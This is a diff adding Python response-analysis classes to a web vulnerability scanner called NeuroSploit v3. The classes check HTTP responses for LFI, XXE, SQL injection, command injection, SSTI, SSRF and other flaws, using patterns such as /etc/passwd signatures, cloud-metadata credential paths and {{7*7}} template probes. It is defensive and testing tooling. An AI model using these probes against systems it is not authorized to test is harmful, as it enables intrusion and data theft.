super().__init__()
|
||||
self.name = "lfi"
|
||||
self.file_signatures = {
|
||||
# Linux files
|
||||
r"root:.*:0:0:": "/etc/passwd",
|
||||
r"\[boot loader\]": "Windows boot.ini",
|
||||
r"\[operating systems\]": "Windows boot.ini",
|
||||
r"# /etc/hosts": "/etc/hosts",
|
||||
r"localhost": "/etc/hosts",
|
||||
r"\[global\]": "Samba config",
|
||||
r"include.*php": "PHP config",
|
||||
# Windows files
|
||||
r"\[extensions\]": "Windows win.ini",
|
||||
r"for 16-bit app support": "Windows system.ini",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for LFI indicators"""
|
||||
for pattern, file_name in self.file_signatures.items():
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.95, f"LFI confirmed: {file_name} content detected"
|
||||
|
||||
# Check for path in error messages
|
||||
path_patterns = [
|
||||
r"failed to open stream.*No such file",
|
||||
r"include\(.*\): failed to open stream",
|
||||
r"Warning.*file_get_contents",
|
||||
r"fopen\(.*\): failed"
|
||||
]
|
||||
for pattern in path_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.6, "LFI indicator: File operation error with path"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class RFITester(BaseTester):
|
||||
"""Tester for Remote File Inclusion"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "rfi"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for RFI indicators"""
|
||||
# Check if our remote content was included
|
||||
if "neurosploit_rfi_test" in response_body:
|
||||
return True, 0.95, "RFI confirmed: Remote content executed"
|
||||
|
||||
# Check for URL-related errors
|
||||
rfi_errors = [
|
||||
r"failed to open stream: HTTP request failed",
|
||||
r"allow_url_include",
|
||||
r"URL file-access is disabled"
|
||||
]
|
||||
for pattern in rfi_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.5, f"RFI indicator: {pattern}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class PathTraversalTester(BaseTester):
|
||||
"""Tester for Path Traversal"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "path_traversal"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for path traversal indicators"""
|
||||
# Same as LFI essentially
|
||||
file_contents = [
|
||||
r"root:.*:0:0:",
|
||||
r"\[boot loader\]",
|
||||
r"# /etc/",
|
||||
r"127\.0\.0\.1.*localhost"
|
||||
]
|
||||
for pattern in file_contents:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.9, f"Path traversal successful: File content detected"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class XXETester(BaseTester):
|
||||
"""Tester for XML External Entity Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xxe"
|
||||
|
||||
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
|
||||
"""Build XXE request with XML body"""
|
||||
headers = {
|
||||
"User-Agent": "NeuroSploit/3.0",
|
||||
"Content-Type": "application/xml"
|
||||
}
|
||||
return endpoint.url, {}, headers, payload
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for XXE indicators"""
|
||||
# File content indicators
|
||||
xxe_indicators = [
|
||||
r"root:.*:0:0:",
|
||||
r"\[boot loader\]",
|
||||
r"# /etc/hosts",
|
||||
r"<!ENTITY",
|
||||
]
|
||||
for pattern in xxe_indicators:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.9, f"XXE confirmed: External entity processed"
|
||||
|
||||
# Error indicators
|
||||
xxe_errors = [
|
||||
r"XML parsing error",
|
||||
r"External entity",
|
||||
r"DOCTYPE.*ENTITY",
|
||||
r"libxml"
|
||||
]
|
||||
for pattern in xxe_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.6, f"XXE indicator: XML error with entity reference"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class FileUploadTester(BaseTester):
|
||||
"""Tester for Arbitrary File Upload"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "file_upload"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for file upload vulnerability indicators"""
|
||||
# Check for successful upload indicators
|
||||
if response_status in [200, 201]:
|
||||
success_indicators = [
|
||||
"uploaded successfully",
|
||||
"file saved",
|
||||
"upload complete",
|
||||
'"success"\\s*:\\s*true',
|
||||
'"status"\\s*:\\s*"ok"'
|
||||
]
|
||||
for pattern in success_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, "File uploaded successfully - verify execution"
|
||||
|
||||
# Check for path disclosure in response
|
||||
if re.search(r'["\']?(?:path|url|file)["\']?\s*:\s*["\'][^"\']+\.(php|asp|jsp)', response_body, re.IGNORECASE):
|
||||
return True, 0.8, "Executable file path returned - possible RCE"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,152 @@
|
||||
"""
|
||||
NeuroSploit v3 - Infrastructure Vulnerability Testers
|
||||
|
||||
Testers for Security Headers, SSL/TLS, HTTP Methods
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class SecurityHeadersTester(BaseTester):
|
||||
"""Tester for Missing Security Headers"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "security_headers"
|
||||
self.required_headers = {
|
||||
"Strict-Transport-Security": "HSTS not configured",
|
||||
"X-Content-Type-Options": "X-Content-Type-Options not set",
|
||||
"X-Frame-Options": "X-Frame-Options not set",
|
||||
"Content-Security-Policy": "CSP not configured",
|
||||
"X-XSS-Protection": "X-XSS-Protection not set (legacy but still useful)",
|
||||
"Referrer-Policy": "Referrer-Policy not configured"
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for missing security headers"""
|
||||
missing = []
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
for header, message in self.required_headers.items():
|
||||
if header.lower() not in headers_lower:
|
||||
missing.append(message)
|
||||
|
||||
# Check for weak CSP
|
||||
csp = headers_lower.get("content-security-policy", "")
|
||||
if csp:
|
||||
weak_csp = []
|
||||
if "unsafe-inline" in csp:
|
||||
weak_csp.append("unsafe-inline")
|
||||
if "unsafe-eval" in csp:
|
||||
weak_csp.append("unsafe-eval")
|
||||
if "*" in csp:
|
||||
weak_csp.append("wildcard sources")
|
||||
if weak_csp:
|
||||
missing.append(f"Weak CSP: {', '.join(weak_csp)}")
|
||||
|
||||
if missing:
|
||||
confidence = min(0.3 + len(missing) * 0.1, 0.8)
|
||||
return True, confidence, f"Missing/weak headers: {'; '.join(missing[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SSLTester(BaseTester):
|
||||
"""Tester for SSL/TLS Issues"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "ssl_issues"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for SSL/TLS issues"""
|
||||
issues = []
|
||||
|
||||
# Check HSTS
|
||||
hsts = response_headers.get("Strict-Transport-Security", "")
|
||||
if not hsts:
|
||||
issues.append("HSTS not enabled")
|
||||
else:
|
||||
# Check HSTS max-age
|
||||
max_age_match = re.search(r'max-age=(\d+)', hsts)
|
||||
if max_age_match:
|
||||
max_age = int(max_age_match.group(1))
|
||||
if max_age < 31536000: # Less than 1 year
|
||||
issues.append(f"HSTS max-age too short: {max_age}s")
|
||||
|
||||
if "includeSubDomains" not in hsts:
|
||||
issues.append("HSTS missing includeSubDomains")
|
||||
|
||||
# Check for HTTP resources on HTTPS page
|
||||
if "https://" in (context.get("url", "") or ""):
|
||||
http_resources = re.findall(r'(?:src|href)=["\']http://[^"\']+', response_body)
|
||||
if http_resources:
|
||||
issues.append(f"Mixed content: {len(http_resources)} HTTP resources")
|
||||
|
||||
if issues:
|
||||
return True, 0.6, f"SSL/TLS issues: {'; '.join(issues)}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HTTPMethodsTester(BaseTester):
|
||||
"""Tester for Dangerous HTTP Methods"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "http_methods"
|
||||
self.dangerous_methods = ["TRACE", "TRACK", "PUT", "DELETE", "CONNECT"]
|
||||
|
||||
def build_request(self, endpoint, payload: str) -> Tuple[str, Dict, Dict, Optional[str]]:
|
||||
"""Build OPTIONS request to check allowed methods"""
|
||||
headers = {
|
||||
"User-Agent": "NeuroSploit/3.0"
|
||||
}
|
||||
# payload is the HTTP method to test
|
||||
return endpoint.url, {}, headers, None
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for dangerous HTTP methods"""
|
||||
# Check Allow header from OPTIONS response
|
||||
allow = response_headers.get("Allow", "")
|
||||
dangerous_found = []
|
||||
|
||||
for method in self.dangerous_methods:
|
||||
if method in allow.upper():
|
||||
dangerous_found.append(method)
|
||||
|
||||
# TRACE method enables XST attacks
|
||||
if "TRACE" in dangerous_found or "TRACK" in dangerous_found:
|
||||
return True, 0.7, f"Dangerous methods enabled: {', '.join(dangerous_found)} (XST risk)"
|
||||
|
||||
if dangerous_found:
|
||||
return True, 0.5, f"Potentially dangerous methods: {', '.join(dangerous_found)}"
|
||||
|
||||
# Check if specific method test succeeded
|
||||
if payload.upper() in self.dangerous_methods:
|
||||
if response_status == 200:
|
||||
return True, 0.6, f"{payload} method accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,372 @@
|
||||
"""
|
||||
NeuroSploit v3 - Injection Vulnerability Testers
|
||||
|
||||
Testers for XSS, SQL Injection, Command Injection, SSTI, etc.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class XSSReflectedTester(BaseTester):
|
||||
"""Tester for Reflected XSS vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xss_reflected"
|
||||
# Unique markers for detection
|
||||
self.markers = [
|
||||
"neurosploit",
|
||||
"xsstest123",
|
||||
"alert(1)"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check if XSS payload is reflected in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check if payload is reflected
|
||||
if payload in response_body:
|
||||
# Check if it's in a dangerous context
|
||||
dangerous_patterns = [
|
||||
rf'<script[^>]*>{re.escape(payload)}',
|
||||
rf'on\w+\s*=\s*["\']?{re.escape(payload)}',
|
||||
rf'javascript:\s*{re.escape(payload)}',
|
||||
rf'<[^>]+{re.escape(payload)}[^>]*>',
|
||||
]
|
||||
|
||||
for pattern in dangerous_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"XSS payload reflected in dangerous context: {pattern}"
|
||||
|
||||
# Payload reflected but possibly encoded
|
||||
return True, 0.7, "XSS payload reflected in response"
|
||||
|
||||
# Check for partial reflection (script tags, etc.)
|
||||
for marker in self.markers:
|
||||
if marker in payload and marker in response_body:
|
||||
return True, 0.6, f"XSS marker '{marker}' found in response"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class XSSStoredTester(BaseTester):
|
||||
"""Tester for Stored XSS vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xss_stored"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for stored XSS - requires subsequent request verification"""
|
||||
# For stored XSS, we need to check if data was stored
|
||||
# This is a simplified check - full implementation would verify on retrieval
|
||||
if response_status in [200, 201, 302]:
|
||||
if "success" in response_body.lower() or "created" in response_body.lower():
|
||||
return True, 0.5, "Data possibly stored - verify retrieval for stored XSS"
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class XSSDomTester(BaseTester):
|
||||
"""Tester for DOM-based XSS vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xss_dom"
|
||||
self.dom_sinks = [
|
||||
"innerHTML", "outerHTML", "document.write", "document.writeln",
|
||||
"eval(", "setTimeout(", "setInterval(", "location.href",
|
||||
"location.assign", "location.replace"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for DOM XSS indicators"""
|
||||
# Look for dangerous DOM sinks in JavaScript
|
||||
for sink in self.dom_sinks:
|
||||
pattern = rf'{sink}[^;]*(?:location|document\.URL|document\.referrer|window\.name)'
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, f"Potential DOM XSS sink found: {sink}"
|
||||
|
||||
# Check if URL parameters are used in JavaScript
|
||||
if re.search(r'(?:location\.search|location\.hash|document\.URL)', response_body):
|
||||
if any(sink in response_body for sink in self.dom_sinks):
|
||||
return True, 0.6, "URL input flows to DOM sink"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SQLiErrorTester(BaseTester):
|
||||
"""Tester for Error-based SQL Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "sqli_error"
|
||||
self.error_patterns = [
|
||||
# MySQL
|
||||
r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException",
|
||||
r"valid MySQL result", r"check the manual that corresponds to your MySQL",
|
||||
# PostgreSQL
|
||||
r"PostgreSQL.*ERROR", r"Warning.*pg_", r"valid PostgreSQL result",
|
||||
r"Npgsql\.", r"PG::SyntaxError",
|
||||
# SQL Server
|
||||
r"Driver.*SQL[\-\_\ ]*Server", r"OLE DB.*SQL Server",
|
||||
r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_",
|
||||
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Microsoft SQL Native Client error",
|
||||
# Oracle
|
||||
r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver",
|
||||
r"Warning.*oci_", r"Warning.*ora_",
|
||||
# SQLite
|
||||
r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite\.SQLiteException",
|
||||
r"Warning.*sqlite_", r"Warning.*SQLite3::",
|
||||
# Generic
|
||||
r"SQL syntax.*", r"syntax error.*SQL", r"unclosed quotation mark",
|
||||
r"quoted string not properly terminated"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for SQL error messages in response"""
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.9, f"SQL error detected: {match.group(0)[:100]}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SQLiUnionTester(BaseTester):
|
||||
"""Tester for Union-based SQL Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "sqli_union"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for union-based SQLi indicators"""
|
||||
# Look for injected data markers
|
||||
union_markers = ["neurosploit", "uniontest", "concat(", "version()"]
|
||||
|
||||
for marker in union_markers:
|
||||
if marker in payload.lower() and marker in response_body.lower():
|
||||
return True, 0.8, f"Union injection marker '{marker}' found in response"
|
||||
|
||||
# Check for database version strings
|
||||
version_patterns = [
|
||||
r"MySQL.*\d+\.\d+", r"PostgreSQL.*\d+\.\d+",
|
||||
r"Microsoft SQL Server.*\d+", r"Oracle.*\d+",
|
||||
r"\d+\.\d+\.\d+-MariaDB"
|
||||
]
|
||||
for pattern in version_patterns:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.7, "Database version string found - possible union SQLi"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SQLiBlindTester(BaseTester):
|
||||
"""Tester for Boolean-based Blind SQL Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "sqli_blind"
|
||||
self.baseline_length = None
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for boolean-based blind SQLi"""
|
||||
# This requires comparing responses - simplified check
|
||||
response_length = len(response_body)
|
||||
|
||||
# Check for significant difference in response
|
||||
if "baseline_length" in context:
|
||||
diff = abs(response_length - context["baseline_length"])
|
||||
if diff > 100: # Significant difference
|
||||
return True, 0.6, f"Response length differs by {diff} bytes - possible blind SQLi"
|
||||
|
||||
# Check for conditional responses
|
||||
if "1=1" in payload and response_status == 200:
|
||||
return True, 0.5, "True condition returned 200 - possible blind SQLi"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SQLiTimeTester(BaseTester):
|
||||
"""Tester for Time-based Blind SQL Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "sqli_time"
|
||||
|
||||
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
|
||||
"""Time-based SQLi is indicated by timeout"""
|
||||
return True
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Time-based detection relies on timeout"""
|
||||
# Response time analysis would be done in the engine
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CommandInjectionTester(BaseTester):
|
||||
"""Tester for OS Command Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "command_injection"
|
||||
self.command_outputs = [
|
||||
# Linux
|
||||
r"root:.*:0:0:", r"bin:.*:1:1:", # /etc/passwd
|
||||
r"uid=\d+.*gid=\d+", # id command
|
||||
r"Linux.*\d+\.\d+\.\d+", # uname
|
||||
r"total \d+.*drwx", # ls -la
|
||||
# Windows
|
||||
r"Volume Serial Number",
|
||||
r"Directory of [A-Z]:\\",
|
||||
r"Windows.*\[Version",
|
||||
r"Microsoft Windows"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for command execution evidence"""
|
||||
for pattern in self.command_outputs:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.95, f"Command output detected: {match.group(0)[:100]}"
|
||||
|
||||
# Check for our marker
|
||||
if "neurosploit" in payload and "neurosploit" in response_body:
|
||||
return True, 0.8, "Command injection marker echoed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SSTITester(BaseTester):
|
||||
"""Tester for Server-Side Template Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "ssti"
|
||||
# Mathematical expressions that prove code execution
|
||||
self.math_results = {
|
||||
"{{7*7}}": "49",
|
||||
"${7*7}": "49",
|
||||
"#{7*7}": "49",
|
||||
"<%= 7*7 %>": "49",
|
||||
"{{7*'7'}}": "7777777", # Jinja2
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for SSTI indicators"""
|
||||
# Check mathematical results
|
||||
for expr, result in self.math_results.items():
|
||||
if expr in payload and result in response_body:
|
||||
return True, 0.95, f"SSTI confirmed: {expr} = {result}"
|
||||
|
||||
# Check for template errors
|
||||
template_errors = [
|
||||
r"TemplateSyntaxError", r"Jinja2", r"Twig_Error",
|
||||
r"freemarker\.core\.", r"velocity\.exception",
|
||||
r"org\.apache\.velocity", r"Smarty"
|
||||
]
|
||||
for pattern in template_errors:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.7, f"Template engine error: {pattern}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class NoSQLInjectionTester(BaseTester):
|
||||
"""Tester for NoSQL Injection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "nosql_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for NoSQL injection indicators"""
|
||||
# MongoDB errors
|
||||
nosql_errors = [
|
||||
r"MongoError", r"MongoDB", r"bson",
|
||||
r"\$where", r"\$gt", r"\$ne",
|
||||
r"SyntaxError.*JSON"
|
||||
]
|
||||
|
||||
for pattern in nosql_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.7, f"NoSQL error indicator: {pattern}"
|
||||
|
||||
# Check for authentication bypass
|
||||
if "$ne" in payload or "$gt" in payload:
|
||||
if response_status == 200 and "success" in response_body.lower():
|
||||
return True, 0.6, "Possible NoSQL authentication bypass"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,99 @@
|
||||
"""
|
||||
NeuroSploit v3 - Request Forgery Vulnerability Testers
|
||||
|
||||
Testers for SSRF and CSRF
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class SSRFTester(BaseTester):
|
||||
"""Tester for Server-Side Request Forgery"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "ssrf"
|
||||
# Cloud metadata indicators
|
||||
self.cloud_indicators = [
|
||||
r"ami-[a-z0-9]+", # AWS AMI ID
|
||||
r"instance-id",
|
||||
r"iam/security-credentials",
|
||||
r"compute/v1", # GCP
|
||||
r"metadata/instance",
|
||||
r"169\.254\.169\.254"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for SSRF indicators"""
|
||||
# Check for cloud metadata
|
||||
for pattern in self.cloud_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.95, f"SSRF to cloud metadata: {pattern}"
|
||||
|
||||
# Check for internal service indicators
|
||||
internal_indicators = [
|
||||
r"localhost",
|
||||
r"127\.0\.0\.1",
|
||||
r"192\.168\.\d+\.\d+",
|
||||
r"10\.\d+\.\d+\.\d+",
|
||||
r"172\.(?:1[6-9]|2\d|3[01])\.\d+\.\d+"
|
||||
]
|
||||
for pattern in internal_indicators:
|
||||
if pattern in payload and re.search(pattern, response_body):
|
||||
return True, 0.8, f"SSRF accessing internal resource: {pattern}"
|
||||
|
||||
# Check for different response when internal URL requested
|
||||
if response_status == 200 and len(response_body) > 100:
|
||||
if "169.254" in payload or "localhost" in payload or "127.0.0.1" in payload:
|
||||
return True, 0.6, "Response received from internal URL - possible SSRF"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CSRFTester(BaseTester):
|
||||
"""Tester for Cross-Site Request Forgery"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "csrf"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CSRF vulnerability indicators"""
|
||||
# Check for missing CSRF protections
|
||||
csrf_protections = [
|
||||
r'name=["\']?csrf',
|
||||
r'name=["\']?_token',
|
||||
r'name=["\']?authenticity_token',
|
||||
r'X-CSRF-TOKEN',
|
||||
r'X-XSRF-TOKEN'
|
||||
]
|
||||
|
||||
has_protection = any(
|
||||
re.search(pattern, response_body, re.IGNORECASE)
|
||||
for pattern in csrf_protections
|
||||
)
|
||||
|
||||
# Check SameSite cookie
|
||||
has_samesite = "samesite" in str(response_headers).lower()
|
||||
|
||||
# State-changing request without protection
|
||||
if not has_protection and not has_samesite:
|
||||
if response_status in [200, 302]:
|
||||
return True, 0.7, "No CSRF token found in form - possible CSRF"
|
||||
|
||||
return False, 0.0, None
|
||||
Reference in New Issue
Block a user